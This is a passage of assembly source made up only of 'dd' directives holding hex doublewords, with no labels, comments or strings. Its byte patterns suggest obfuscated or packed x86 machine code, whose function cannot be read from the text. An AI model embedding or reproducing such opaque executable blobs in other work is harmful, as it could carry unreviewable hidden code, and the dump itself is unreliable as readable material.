		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8D567BC3h
		dd 0EB07FB85h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0C10299EFh, 7ABF449Eh
		dd 83166D24h, 0BD8905C0h, 5E71555h, 24048950h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2C35747h, 0E534415h
		dd 0B172FDAEh, 29006A30h, 0E71C5595h, 66006A05h, 0FF7159BFh
		dd 0E702C595h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 45DE813Eh, 8D659FEBh
		dd 0EA95149Dh, 0BD8B5205h, 5E72DA5h, 0F88B665Eh, 8166D3FFh
		dd 0FFEDC2DFh, 0E71CE185h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BD2B773Ah
		dd 5E70885h, 83CE9h, 0E800h, 815D0000h,	0EB0805EDh, 0D1852905h
		dd 8105E713h, 0E72A75BDh, 7D005h, 47860F00h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 39CCC356h, 0E6B4FFD4h, 4840F7Dh, 66000000h
		dd 8BDBADBFh, 0E71C599Dh, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 83F4191Bh
		dd 0F4346E2Ch, 10E976BCh, 0D1000000h, 4C0E010Ch, 25392F7Fh
		dd 7F08288Fh, 8194CC8Bh, 100E3h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 138F0F04h
		dd 57000000h, 0BE8h, 0F65BF700h, 0F8546E8Ch, 8D1CEEC6h
		dd 0BE665F5Fh, 0DB0B98A5h, 56850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 2308FCC3h
		dd 0D8D893Fh, 8305E70Ch, 0EB06BDBDh, 840F0005h,	0Fh, 4269BE66h
		dd 35E9h, 5DB58B00h, 0C705E72Ah, 0EB06BD85h, 105h, 20E900h
		dd 0C7810000h, 5757C608h, 6BD85C7h, 5EBh, 0BE90000h, 15000000h
		dd 2C6585B0h, 0A4489668h, 9D8DF5C3h, 5E71C59h, 0DE9h, 0C1AE4A00h
		dd 6C407212h, 567C11Dh,	238176D1h, 0FFFFFEFFh, 0BC1B50Bh
		dd 8C6605E7h, 52006ADBh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 37D92362h, 8A4AAC1Eh, 0F04C3F6h
		dd 7384h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0E66B653Ah, 3F3210BAh, 95FFFE8Bh
		dd 5E72CD9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	2DC35747h, 0F8069085h, 0F50D3B8h, 1684h, 0F525000h
		dd 0AE831h, 73630000h, 91435F2Bh, 9457BB83h, 89585A5Fh
		dd 0BD8B2404h, 5E72211h, 438E9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 4F9C4F68h
		dd 2471B9A0h, 61BCBE66h, 6A00B0h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0C22267C3h, 0B5031F71h
		dd 5E72F51h, 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 8AC945C3h, 12CF81BCh, 0E40F4220h
		dd 50006A71h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0F0DC1194h, 81E641CDh, 39CB80D7h, 0D8B60F5Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B4C35646h
		dd 6BA00h, 8B0F0000h, 6, 2E199589h, 0C38B05E7h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9C35747h, 0D7E0F500h
		dd 51963231h, 28E0Fh, 61600000h, 13E85Eh, 951E0000h, 2D45E339h
		dd 78AFE186h, 93FA93A9h, 0BFD2AE1Dh, 76D7BE0Ah,	0C15E69CCh
		dd 6A04E8h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 7C37F7C3h, 271BD8Bh,	8D8905E7h, 5E7176Dh, 2BE2F766h
		dd 51006AD8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0E3D7C2C0h, 93DCA9CBh, 6A9350h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 706EF0C3h, 75B5FF3Dh, 905E72Ah, 0E7279DBDh, 1D95FF05h
		dd 5605E71Ah, 13E9h, 0B9D73800h, 25150DEEh, 7A3C1953h
		dd 0FD489517h, 0F35030FCh, 0FC00B05Fh, 6A70E6h,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 11ABD7C3h, 0BE666AA9h, 71E4BDB8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 65C35646h, 1E629A0Dh, 0C869A611h
		dd 0BE9h, 0A7BD8400h, 0D27C1819h, 283D6975h, 1967BF66h
		dd 830F613Ch, 20Dh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 46C35545h, 6813ED46h,	0F4EAFC7h, 6AD8B6h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 9E75C9C3h, 0A06E20D0h, 1B918D01h, 0CE805E7h,	6A000000h
		dd 9691946h, 0C9D288DCh, 5ED69A19h, 6BAh, 19BD8B00h, 8B05E72Dh
		dd 8E9C3h, 7BB0000h, 5AC8A335h,	0E8C10347h, 75958904h
		dd 6605E70Ch, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0D82BD7C3h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0E8C35747h,	93537775h, 14E956h
		dd 50F0000h, 37854AC9h,	228A2FFAh, 55E4C9C7h, 0E311BDFh
		dd 585F613Ch, 22D7E781h, 0BD8B6F9Bh, 5E715E9h, 880FD82Bh
		dd 119h, 0B95FFC52h, 7,	6890Fh,	0C7810000h, 41BA22F8h
		dd 6A00C183h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 29A6C357h, 8166D250h, 3B7D02CFh
		dd 0D6860FD9h, 0F000000h, 8C66F3BFh, 50006AD9h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 78BE66B1h
		dd 4C1F655h, 9F840Fh, 0B52B0000h, 5E702EDh, 2CD995FFh
		dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 4981FFC3h, 235CDC1Dh, 0BF86F233h,	356D3319h
		dd 51006A5Bh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0BA29160h, 2BF202F0h, 5E9C3h, 0C1DC0000h
		dd 0F85291B0h, 8343Dh, 2E860F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0F583C357h, 1234FCE1h, 0AF222207h, 0CE9h, 0B70FF800h
		dd 89C08BF0h, 0E72E31BDh, 8BC38B05h, 57006AD8h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 802BE6FAh
		dd 0D0F57096h, 0CE9F1h,	4A940000h, 144C7DE2h, 32345CBFh
		dd 85C750DBh, 5E7097Dh,	76D52D13h, 8214DE81h, 0C08B6A7Fh
		dd 33098D31h, 0BD8105E7h, 5E72A75h, 7D0h, 0D850Fh, 0BD310000h
		dd 5E72F71h, 2A7585FFh,	0FFF805E7h, 0E72A75B5h,	55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 2623E1B2h, 0FF508015h, 0E71A1D95h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 0F70187B9h, 0F9B70F8Ch, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0B908C243h
		dd 11F86549h, 298D8938h, 3105E725h, 0E73245B5h,	7E805h
		dd 7C2B0000h, 48105077h, 0BD8956EEh, 5E708A1h, 6E9h, 2EDD2100h
		dd 5E262263h, 118F0F5Eh, 0E8000000h, 6,	0D7AC01BAh, 0B70FE35Dh
		dd 5E5E56FFh, 229DBD23h, 816605E7h, 818BD6D6h, 587097C6h
		dd 51006A09h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0BD01CAF0h, 5E72F35h, 31A59D31h,	0BF0F05E7h
		dd 3A19BEF6h, 952962C2h, 5E73125h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 6C35040h, 7E8h, 0CEEB4700h
		dd 1C1EA7DCh, 0D8DBD09h, 8B5E05E7h, 0E73131BDh,	51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0B7208FADh, 0E9A1B2FCh, 0FFFFF7EDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 19C35545h, 59E78188h, 8B4F861Eh
		dd 0E70121BDh, 860F6005h, 6, 16919D8Bh,	816605E7h, 0B9667EDEh
		dd 0FFFFFFFEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0C3C35545h, 80C97144h, 8D21A2D2h, 5E71C59h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 93C35343h, 2D6D9589h
		dd 8D2105E7h, 5E726D1h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 92C35747h, 1AB67F7h, 0E9952933h, 8B05E70Ah
		dd 0E72F0995h, 598D8B05h, 6A05E71Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F08C357h
		dd 0D8Fh, 81666000h, 8B9AF5EEh,	0E7024D95h, 0E1836105h
		dd 1F850F01h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 1028C351h, 8D8B8430h
		dd 5E726D1h, 2C599D8Bh,	0F86005E7h, 0E18361F8h,	34850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 22E4C355h, 0ADE0EB51h,	6E825h
		dd 1A500000h, 0D0D2F998h, 2BED8D09h, 615A05E7h,	85958B60h
		dd 0B905E706h, 0FFFFFFFEh, 5AD88B56h, 1AE58D21h, 8C0F05E7h
		dd 2, 8D21B1B0h, 5E727D9h, 7E9h, 0C63DE700h, 0F1DB99h
		dd 1AE58D8Bh, 0D38B05E7h, 0F01E183h, 3085h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 9D4BC67Fh, 9AE40827h, 8166DB33h, 8BA94DDEh, 0E70C819Dh
		dd 0D98D8B05h, 6A05E727h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0E7A4C356h,	91958BFFh
		dd 8305E716h, 850F01E1h, 38h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0F4C35545h,	0E394BE7Dh, 0CE9B6h
		dd 0F49A0000h, 0D7A3AA0Ah, 0CE4CCFFAh, 0BD8956BFh, 5E73201h
		dd 0BD8B6061h, 5E72209h, 0FFFFFEB9h, 53006AFFh,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0E336EEC0h
		dd 0DE998h, 8F5C0000h, 728F0FF9h, 0AA6C173Bh, 0E82A5C15h
		dd 0Fh,	3B4782A1h, 2C36C1EAh, 0D35D07D3h, 52119046h, 3BDF8166h
		dd 215E5AF1h, 0E726B58Dh, 13E805h, 0AA450000h, 1E6D034h
		dd 1DDA2920h, 0B3B77DEFh, 0CB6A0AB4h, 0D9958B76h, 5F05E729h
		dd 25A18D21h, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 3A2CEFC3h, 0F28BFC00h, 26B58D8Bh
		dd 515305E7h, 0E032BB66h, 0E1835A5Eh, 27850F01h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0B25AC356h, 0B206AABFh
		dd 16CDBD0Bh, 8D8B05E7h, 5E725A1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 68C35141h, 7C3DD53Bh, 143A2881h
		dd 8166567Dh, 5F33ECEAh, 0F01E183h, 685h, 79B58B00h, 6105E713h
		dd 57006A60h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 9339E5D9h, 0FFFFFEB9h, 53006AFFh, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 6AD730Dh, 21FD0733h,	0E726518Dh, 8D950105h, 2105E712h
		dd 0E7097D8Dh, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 8B526621h, 8D8BF9FBh
		dd 5E72651h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	31C35242h, 9D8B0637h, 5E727F9h,	0F01E183h, 3085h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0FE81BAB1h, 0BE94E2Fh, 0E72D55B5h, 28F0F05h
		dd 8B000000h, 7D8D8BD7h, 6A05E709h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 7F2FC352h
		dd 982142E8h, 5FFEB66h,	0B9C602BBh, 7E96Eh, 0B4CF0000h
		dd 3D2B9936h, 1E183E2h,	9850Fh,	0C0800000h, 258533D2h
		dd 6105E728h, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 12E9CDh, 0CF430000h, 0CFC7487Fh
		dd 0AE4B8D3h, 1912FE3Ah, 0C51F055Dh, 1BC1BD8Bh,	85C705E7h
		dd 5E72A75h, 7D0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0DAC35747h, 0F8285E7h, 6A61CBBFh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 7ACAC356h, 0EB4EBD95h, 0E99D6107h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0CEC35242h
		dd 4F59BDAEh, 0A354C787h, 0D3C280D9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 9EC35646h, 20498D89h, 0C18B05E7h
		dd 7DF604EBh, 89E917EEh, 0C0000005h, 0C16EE2D4h, 0DC6BE5C5h
		dd 0DE65EBD3h, 0DA61EFCFh, 5362EEECh, 74424C24h, 74404FD4h
		dd 7E5E4FD4h, 634345D2h, 2F8ADCEDh, 0C69EF759h,	0DC632B5Ah
		dd 0DC8AE9CDh, 72547A52h, 91D8F82Dh, 7D4C92AAh,	0CBF7C03Eh
		dd 0E2592F8Ah, 95AC375h, 10B1038h, 0AEF1E13Dh, 625A4761h
		dd 0ADFFD211h, 404AB589h, 38531C62h, 341A329Eh,	0B8988D92h
		dd 63A8F77Dh, 65A68D43h, 30E7945h, 0CEEB933Bh, 0C375E27Ah
		dd 0F5CD2879h, 2C7C1AC1h, 2A71DFFFh, 3BFEDCE2h,	0C375E2B6h
		dd 810B629h, 67D98E98h,	0ACB4h,	7A523E00h, 0E65E0654h
		dd 0D0FFCA48h, 92962A1h, 961CFD38h, 33C3758Ch, 846C4904h
		dd 9FC3758Ch, 0D6217D4Eh, 0A38CD2E8h, 0BD2E4468h, 0B4808F1Dh
		dd 925A006Bh, 758CB107h, 0B143BC3h, 8702A7B9h, 0D786E536h
		dd 8937A9B3h, 151567D9h, 4D000000h, 1F8DAAE2h, 0E3729E49h
		dd 7E5B735Ch, 0C375128Ah, 6D7DB889h, 0C0A80D35h, 0C3C375E2h
		dd 4E5CB3F2h, 0EA421268h, 8D625EE1h, 16C4FC0h, 89D92505h
		dd 9E3B78A6h, 0C375542Ah, 0B38FD829h, 15341B5Ah, 4B02ED31h
		dd 0F0A9FD4Fh, 75545325h, 360750C3h, 0C3C56A1Ah, 6F4E9FE3h
		dd 2A260800h, 56645266h, 33E05808h, 5D872013h, 0B39BF635h
		dd 0B03B4F93h, 4E8CBA16h, 0F7795C04h, 12C37559h, 0E7C6143Ah
		dd 6AE6C516h, 0E3EBCBDDh, 1664525Ch, 0DA8AF437h, 4B7C1A12h
		dd 36F80663h, 75538F71h, 74BB84C3h, 0DE357056h,	39E1E9D1h
		dd 7553149Ch, 0B797B1C3h, 60B1026Bh, 7A113D05h,	9984AB5Ch
		dd 2D0861BDh, 0D8DBF67Eh, 84F667h, 24EC0000h, 75592F91h
		dd 98DB24C3h, 3F6A35CEh, 0D5260601h, 6E45A089h,	0FBC41A20h
		dd 0C7B08ECEh, 78A60284h, 0FF400842h, 5A2E8BB3h, 59C375E2h
		dd 3700FE01h, 3506053Eh, 3CBF01EDh, 0B7F693E0h,	88BDF5B9h
		dd 6834252Ah, 307E5590h, 3D98400Ah, 0C375074Bh,	0C23C7F48h
		dd 0ACF2D2F5h, 146A4A43h, 83DFFF2Bh, 89355534h,	18008645h
		dd 67D8A798h, 5454h, 64521E00h,	0EE3F0856h, 7734F0CEh
		dd 0F1C9F153h, 78528B5Fh, 11624444h, 0B9A781B9h, 8D02DF1Eh
		dd 280050AEh, 0F0236EA4h, 2089E473h, 0C375DD5Bh, 96B798C2h
		dd 280868B6h, 0C603AFF9h, 500362B3h, 6B45FD36h,	0D7A1D216h
		dd 33AD78BBh, 1167D8B5h, 1, 236A3555h, 0C4CD2003h, 4F59A6F4h
		dd 0FC6F136Fh, 79414EDAh, 2FD418D7h, 0C48EDFFFh, 5D1334F1h
		dd 0FED021C9h, 9557551h, 0A50BAE20h, 0BEC692D3h, 0C7300E6Dh
		dd 0C06FE1C5h, 88CEF8C8h, 340A5BB2h, 92D3FD41h,	0F294D7C6h
		dd 5C4E7656h, 0F8C9207Eh, 0FDC1CB50h, 61414AD5h, 0D9F33C02h
		dd 5605A9F5h, 96B89030h, 1B3B133Ch, 1DB714D8h, 2F61F25Dh
		dd 13Bh, 2FEE02BBh, 0F72512A7h,	0C112C95Ch, 5F4AD5FDh
		dd 0F7D13C7Fh, 0A4FAC2C9h, 0C0A80D45h, 0C3C692F6h, 6129A1F2h
		dd 92F6EC54h, 5796E7C6h, 0B49AB299h, 2F0F1966h,	81A5E4D3h
		dd 754572BDh, 941CB929h, 0AFC692F6h, 387445Eh, 26A02BBFh
		dd 0ACBC828Ah, 2B9D38E0h, 28C692F6h, 9BE7C7C1h,	970261B2h
		dd 61F27AFDh, 50CFh, 0ED029B00h, 2C8CA42Eh, 0DB50A338h
		dd 8AD2904h, 0C3756170h, 19DC2273h, 0C3756097h,	13301932h
		dd 0A12CA05Dh, 327D4192h, 9AE53919h, 580B93B3h,	79EA8C3Eh
		dd 4F4CA351h, 741EB207h, 0C36CC375h, 3085E0D4h,	88AE69E7h
		dd 0E4000000h, 1352725Bh, 31EE0247h, 0E2E43515h, 5CE8C2D7h
		dd 1CB687C9h, 53F26C24h, 82ED4A49h, 725BA797h, 0A8E0CF33h
		dd 2A63CC86h, 96D5340Ah, 0FBDBCD5Ah, 9E63D2A7h,	1D45C692h
		dd 9CF84055h, 2372C692h, 451338BFh, 5C9FE8B9h, 0F7588D0Dh
		dd 71BCF3CBh, 10B6645h,	9854133Dh, 0EBF8DDF5h, 88CC8708h
		dd 341463BFh, 23A8CC12h, 0F69755A7h, 0D71C14DCh, 0B167F444h
		dd 6B4F3184h, 7B44C8A6h, 16ECB2Ah, 16C2B371h, 35470BC5h
		dd 802226Ah, 0E79AD92Ah, 0EA420409h, 194A9A89h,	0F94F6AC5h
		dd 0FAC375D0h, 511D58A9h, 60CA6744h, 0DF230CC9h, 1D77CFF7h
		dd 97CC2893h, 0ED532582h, 1950C69Eh, 0F8D12D0Dh, 27614CAFh
		dd 2A62C907h, 67433604h, 92D09046h, 7C4B97A7h, 0FC2A0531h
		dd 95B780DEh, 0EBEFFEB1h, 116D4D59h, 4900EF38h,	85A9E341h
		dd 8AACFC4Bh, 51642CB4h, 0D48597EFh, 61D7E2E4h,	62D48597h
		dd 0BCE9C011h, 5B72A19Ch, 0C893277Bh, 42A62CEh,	92D7FC4h
		dd 8BB3FE41h, 634348B7h, 0BEFDCE1Fh, 31B40h, 234F0000h
		dd 5066526Fh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh, 86B4E2CDh
		dd 7B434FB8h, 0EDF1D827h, 4179A691h, 3A18327Dh,	0EC8102E4h
		dd 4, 24048F54h, 4240483h, 70BA68h, 24348900h, 3ABD68h
		dd 24048900h, 16E8BD55h, 0F5811F58h, 14FE3518h,	6EF2C581h
		dd 0C5810F4Eh, 531F3F56h, 4574ED81h, 0B8500E7Dh, 5A7D9956h
		dd 8958C531h, 8B545DEEh, 0C4832404h, 7DF36804h,	34890000h
		dd 24348124h, 1F716D1h,	8108408Fh, 16D10870h, 48B01F7h
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 5E2434FFh
		dd 0E904C483h, 0FFFC6263h, 7F571CF8h, 5074B00h,	0EB1A89B8h
		dd 0FFC50305h, 0F67519E0h, 5316F203h, 4BCB040Ah, 42EA2F00h
		dd 9512743Eh, 0FDABBE06h, 617ECD30h, 0E4AF2F4Fh, 2A412706h
		dd 5B440A45h, 0C28C9B6Ah, 0F5CAE019h, 1DE43D57h, 4809D931h
		dd 0B21D391Eh, 0DEDB9F5Fh, 13902659h, 0E0826964h, 0C49C484Ch
		dd 56908128h, 47607C53h, 0E848651Fh, 104BEB73h,	3C2F0E09h
		dd 0DA4B1AC5h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h, 27CE1BF5h
		dd 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh,	7A2500A6h
		dd 0EA1A0046h, 0D5A3h, 199C0000h, 0FEC9h, 0FBFE47h, 41280000h
		dd 7DD427E6h, 0E3E9C372h, 6A00000Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0AE3AC350h
		dd 14CEB371h, 0F11BA21h, 0D88BD3BFh, 7F1BD83h, 0F0005E7h
		dd 7A85h, 0A18D8B00h, 0B805E709h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 3FC35646h
		dd 7F151F15h, 4A80CF7Eh, 0C2CB8A06h, 6A0004h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 75C324C3h
		dd 412D0E50h, 80AFE646h, 8A0FB4DEh, 17h, 0BE8h,	99028100h
		dd 1FA091Fh, 0ED75BEECh, 9B98D8Bh, 8B5905E7h, 0E78A60C0h
		dd 4718531h, 836105E7h,	0E70D79BDh, 9750005h, 1C15BD83h
		dd 740005E7h, 8B535013h, 4D0B8C0h, 9D8D0000h, 5E9A808h
		dd 585BD3FFh, 1C15BD83h, 740005E7h, 0B8535011h,	4D0h, 0A7559D8Dh
		dd 0D3FF05E9h, 9D8B585Bh, 5E7238Dh, 0BA5958Bh, 0C08B05E7h
		dd 0AF58529h, 858D05E7h, 5EB1BC1h, 0C2816651h, 9059E9FCh
		dd 0C78B6660h, 0DE9h, 0DD37AE00h, 2F44A154h, 5ED28734h
		dd 50616E78h, 89F48A90h, 0E702318Dh, 7E858D05h,	8B05EB1Bh
		dd 0E720FDBDh, 8B669005h, 0C88A50D0h, 11E990h, 82340000h
		dd 7FE295Ch, 7549A9DEh,	4B60021Eh, 0FF4F1627h, 0E71C6195h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8BBCC31Dh, 0BA042444h, 2C99A13Fh, 1BA98589h
		dd 6A05EBh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0ADFF83C3h, 66D2829Ah, 446CE181h,	824448Bh
		dd 0BD1BD8Bh, 858905E7h, 5EB1BBDh, 2BED958Bh, 0BD8305E7h
		dd 5E71789h, 0FB850F00h, 0FC000000h, 7F985C6h, 6A4705E7h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 5B86C357h, 9474DD97h, 4E8h, 9AA7D200h, 0DE8D4h
		dd 0DED90000h, 9E585ACBh, 0E20A1C9Dh, 0B7D465BDh, 50505FB4h
		dd 0D18B6652h, 14E9310Fh, 0B7000000h, 3A294055h, 2709821Bh
		dd 38542EB4h, 1B81213Dh, 5AFFC583h, 24448B58h, 0CE804h
		dd 53EE0000h, 0E8FFD898h, 723B6FC2h, 0BE854CFh,	16000000h
		dd 2DB08D08h, 0C2C04603h, 5250E3D7h, 585A310Fh,	8B5959h
		dd 4244489h, 0E858FA8Bh, 0Dh, 0F42C9142h, 1AEA0A34h, 0AEB1084Ah
		dd 0DCC981BEh, 5B687563h, 2DC5B5FFh, 6A05E7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 90CF8EC3h
		dd 7963858Dh, 0F88B05EAh, 7E9D0FFh, 76000000h, 0FED33537h
		dd 8589E589h, 5E71789h,	0BD83D98Bh, 5E70F61h, 26850F00h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 1665C351h, 63DCAAFDh, 19D9BD8Bh
		dd 85C605E7h, 5E707F9h,	51006A47h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0B2A13AAFh, 2538AC54h
		dd 9D2382D8h, 5E72E1Dh,	0BED39368h, 66525082h, 0F7AB1B9h
		dd 5AD7B531h, 24348158h, 8B16671h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 6FC35040h, 0D7F78271h, 6A70A5FEh
		dd 855BD2Bh, 0B5FF05E7h, 5E72DC5h, 0FF8BF0Fh, 683h, 69B52900h
		dd 8D05E724h, 0EA796385h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8D8B534Dh
		dd 5E722E9h, 0ECB3D0FFh, 0F618589h, 6A05E7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 5B2953C3h
		dd 1EDF32F0h, 0E9A7E244h, 0Bh, 4A2D81FBh, 48E5EE81h, 0E90FFDADh
		dd 9, 3D7CF98Ah, 0F85E52DDh, 0A1BD83A0h, 5E727h, 0FA850Fh
		dd 0BD8B0000h, 5E72C85h, 7F985C6h, 665605E7h, 0EADFCF81h
		dd 4E8h, 1F6D3900h, 12E950D4h, 0A1000000h, 321F7C13h, 70799984h
		dd 0CDD7DCDEh, 0C45ADF4Eh, 0BF505B98h, 414C67FFh, 424448Bh
		dd 2850F60h, 0B0000000h, 8B525021h, 50310FD0h, 5A310F52h
		dd 61585A58h, 840F008Bh, 4, 0AFC1BA66h,	4244489h, 4D958958h
		dd 0FF05E726h, 0E72DC5B5h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0A5479CC7h
		dd 7963858Dh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 5BFC2EC3h, 134EB966h, 8A0FD0FFh
		dd 2, 85892FB1h, 5E727A1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 24C35545h, 0B740E31Eh, 0D1FF579Ch, 86BA6660h
		dd 218503E8h, 6105E700h, 7F985C6h, 6A6C05E7h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0E2A8C353h, 8A537663h, 0CFBF5FF1h, 0E82E2A25h, 4, 0DB057083h
		dd 5830Fh, 0E1B90000h, 504EFE9Eh, 424448Bh, 19FCB5B9h
		dd 60008B44h, 0CE860h, 79E90000h, 423883A0h, 0F51FB5D1h
		dd 0B45F9C65h, 59BE61F4h, 6132FA90h, 4244489h, 8158FD8Ah
		dd 0FD5F85CBh, 25B5FF11h, 6A05E70Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 86C0C357h
		dd 8D959ADEh, 0E7391785h, 8DBD0B05h, 6605E712h,	0FFDC79B9h
		dd 51006AD0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 668B892Ch, 8B82D914h, 0AD8589CAh, 0B05EB1Bh
		dd 0E72A058Dh, 57046A05h, 5ACEBF0Fh, 8E8h, 96CCC00h, 0C74DB1F9h
		dd 8B66603Ah, 0F78B66CEh, 0C2685A61h, 0BAC44EE1h, 3518528Ch
		dd 3E240481h, 6A3BB12Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 6676C351h, 68ED89BBh
		dd 9D5CEFE7h, 19240481h, 8B62A410h, 0E72C558Dh,	0BA006A05h
